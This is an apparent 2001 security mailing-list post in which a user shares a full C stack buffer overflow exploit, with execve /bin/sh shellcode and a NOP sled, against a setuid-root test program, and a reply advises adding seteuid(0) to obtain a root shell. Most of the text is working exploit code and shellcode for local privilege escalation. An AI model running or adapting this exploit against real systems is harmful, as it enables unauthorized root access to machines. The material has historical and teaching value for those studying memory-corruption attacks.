RE: question on an exploit

From: Sardaņons, Eliel (Eliel.Sardanonsat_private)
Date: Mon May 21 2001 - 08:28:02 PDT

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    your exploit code i think is like this:
/* \xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0
   \x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80
*/
execl("/bin/sh", "sh", 0); 

/* \x29\xc0\x40\xcd\x80 */
exit(0);

you must use:

seteuid(0);
execl("/bin/bug", "bug", 0);
exit(0);

Eliel C. Sardaņons

-----Mensaje original-----
De: roland kwitt [mailto:sniperat_private]
Enviado el: Jueves, 17 de Mayo de 2001 11:16 a.m.
Para: VULN-DEVat_private
Asunto: question on an exploit




hi folks,


recently i found a very good howto about buffer overflowing

and tried to code an exploit for a little program.


#####################
Prog. to be exploited
#####################

int main(int argc, char *argv[])
{
        char buffer[500];
        if(argc>=2) strcpy(buffer, argv[1]);
        return 0;
}


As anybody can see the program does not check the size of the

input copied in buffer. Therefor it should be able to

exploit it and gain root access through spawning a root shell.

The perms of that prog are set to:

418444   16 -rwsr-xr-x   1 root     users       13335 May 17 15:22 vuln


The exploit looks like this:



#include <stdlib.h>
#include <stdio.h>

#define BUFFERSIZE 600  /* vulnerable buffer + 100 bytes */

char linuxshell[] =
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0"

"\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd"
                    "\x80\xe8\xde\xff\xff\xff/bin/sh";

unsigned long sp(void)
{
        __asm__("movl %esp, %eax");
}

void usage(char *cmd)
{
        printf("\nusage: %s <offset>\n\n", cmd);
        exit(-1);
}

int main(int argc, char *argv[])
{
        int i, offset, os;
        long esp, ret, *addr_ptr;
        char *buffer, *ptr, *osptr;

        if(argc<2) usage(argv[0]);

        offset = atoi(argv[1]);
        esp    = sp();
        ret    = esp-offset;

        printf("Stack pointer: 0x%x\n", esp);
        printf("       Offset: 0x%x\n", offset);
        printf("  Return addr: 0x%x\n", ret);

        if(!(buffer = malloc(BUFFERSIZE))) {
                printf("Couldn't allocate memory.\n");
                exit(-1);
        }

        ptr = buffer;
        addr_ptr = (long *)ptr;
	for(i=0; i<BUFFERSIZE; i+=4)
                *(addr_ptr++) = ret;

        for(i=0; i<BUFFERSIZE/2; i++)
                buffer[i] = '\x90';

        ptr = buffer + ((BUFFERSIZE/2) - (strlen(linuxshell)/2));
        for(i=0; i<strlen(linuxshell); i++)
                *(ptr++) = linuxshell[i];


        buffer[BUFFERSIZE-1] = 0;
        execl("./vuln", "vulnerable", buffer, 0);

        return 0;
}

As a tried to execute the exploit using "exploit 0" (offset)

the only thing i got was an ordinary user shell but not

a root shell. Can somebody tell me why the setuid flag

is ignored!!


Thanks, sniper!!

    This archive was generated by hypermail 2b30 : Mon May 21 2001 - 09:15:57 PDT